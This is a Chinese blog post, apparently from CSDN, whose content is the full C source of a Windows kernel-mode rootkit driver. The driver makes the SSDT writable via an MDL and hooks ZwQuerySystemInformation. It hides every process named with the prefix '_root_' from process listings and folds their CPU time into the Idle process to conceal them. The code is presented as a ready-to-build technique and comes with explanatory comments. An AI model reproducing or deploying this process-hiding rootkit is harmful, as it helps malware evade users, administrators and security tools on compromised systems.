最典型的内核HOOK

 

#include "ntddk.h"


PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
 unsigned int *ServiceTableBase;
 unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
 unsigned int NumberOfServices;//服务的个数
 unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
///
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//获得SSDT基址宏
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
/
//声明各种结构
struct _SYSTEM_THREADS//系统线程结构体
{
 LARGE_INTEGER KernelTime;
 LARGE_INTEGER UserTime;
 LARGE_INTEGER CreateTime;
 ULONG WaitTime;
 PVOID StartAddress;
 CLIENT_ID ClientIs;
 KPRIORITY Priority;
 KPRIORITY BasePriority;
 ULONG ContextSwitchCount;
 ULONG ThreadState;
 KWAIT_REASON WaitReason;
};

struct _SYSTEM_PROCESSES//系统进程结构体
{
 ULONG NextEntryDelta;//
 ULONG ThreadCount;
 ULONG Reserved[6];
 LARGE_INTEGER CreateTime;
 LARGE_INTEGER UserTime;
 LARGE_INTEGER KernelTime;
 UNICODE_STRING ProcessName;
 KPRIORITY BasePriority;
 ULONG ProcessId;
 ULONG InheritedFromProcessId;
 ULONG HandleCount;
 ULONG Reserved2[2];
 VM_COUNTERS VmCounters;
 IO_COUNTERS IoCounters; //windows 2000 only
 struct _SYSTEM_THREADS Threads[1];//线程的环境
};

// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
 LARGE_INTEGER IdleTime;
 LARGE_INTEGER KernelTime;
 LARGE_INTEGER UserTime;
 LARGE_INTEGER DpcTime;
 LARGE_INTEGER InterruptTime;
 ULONG InterruptCount;
};

NTSYSAPI
NTSTATUS//获得线程的信息
NTAPI ZwQuerySystemInformation(
          IN ULONG SystemInformationClass,
          IN PVOID SystemInformation,
          IN ULONG SystemInformationLength,
          OUT PULONG ReturnLength);

//定义一个函数指针指针的类型
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
            PVOID SystemInformation,
            ULONG SystemInformationLength,
            PULONG ReturnLength
            );

ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;

// Added by Creative of rootkit.com
LARGE_INTEGER m_UserTime;
LARGE_INTEGER m_KernelTime;
//我们的hook函数,过滤掉以"_root_"开头的进程
NTSTATUS NewZwQuerySystemInformation(
          IN ULONG SystemInformationClass,
          IN PVOID SystemInformation,
          IN ULONG SystemInformationLength,
          OUT PULONG ReturnLength)
{
 NTSTATUS ntStatus;
 ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
  SystemInformationClass,
  SystemInformation,
  SystemInformationLength,
  ReturnLength );
 if( NT_SUCCESS(ntStatus))
 {
  // Asking for a file and directory listing
  if(SystemInformationClass == 5)
  {
   // 列举系统进程链表
   // 寻找以"_root_"开头的进程
   struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
   struct _SYSTEM_PROCESSES *prev = NULL;
   while(curr)//如果这个线程存在的话
   {
    //DbgPrint("Current item is %x\n", curr);
    if (curr->ProcessName.Buffer != NULL)
    {
     if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
     {
      m_UserTime.QuadPart += curr->UserTime.QuadPart;
      m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
      if(prev) // Middle or Last entry
      {
       if(curr->NextEntryDelta)
        prev->NextEntryDelta += curr->NextEntryDelta;
       else // we are last, so make prev the end
        prev->NextEntryDelta = 0;
      }
      else //已经是尾部了 往前奏
      {
       if(curr->NextEntryDelta)
       {
        // we are first in the list, so move it forward
        (char *)SystemInformation += curr->NextEntryDelta;
       }
       else // 唯一的进程
        SystemInformation = NULL;
      }
     }
    }
    else // Idle process入口
    {
     // 把_root_进程的时间加给Idle进程,Idle称空闲时间
     curr->UserTime.QuadPart += m_UserTime.QuadPart;
     curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
     // 重设时间,为下一次过滤
     m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
    }
    prev = curr;
    if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
    else curr = NULL;
   }
  }
  else if (SystemInformationClass == 8) // 列举系统进程时间
  {
   struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
   times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
  }
  
 }
 return ntStatus;
}


VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
 DbgPrint("ROOTKIT: OnUnload called\n");
 // 卸载hook
 UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
 // 解索并释放MDL
 if(g_pmdlSystemCall)
 {
  MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
  IoFreeMdl(g_pmdlSystemCall);
 }
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
      IN PUNICODE_STRING theRegistryPath)
{
 DbgPrint("ROOTKIT: Start\n");
 // 注册一个卸载的分发函数,与应用层沟通
 theDriverObject->DriverUnload = OnUnload;
 // 初始化全局时间为零
 // 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100%
 m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
 // 获得SSDT的地址存储起来
 OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
 // 把SSDT隐射到我们的区域,以便修改它为可写属性
 g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
 if(!g_pmdlSystemCall)
  return STATUS_UNSUCCESSFUL;
 MmBuildMdlForNonPagedPool(g_pmdlSystemCall);//建立一个不可分页的系统空间
 // 改变MDL的Flags属性为可写,既然可写当然可读,可执行
 g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
 MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); //执行所设置的属性
 // 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了
 HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
 return STATUS_SUCCESS;
}


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值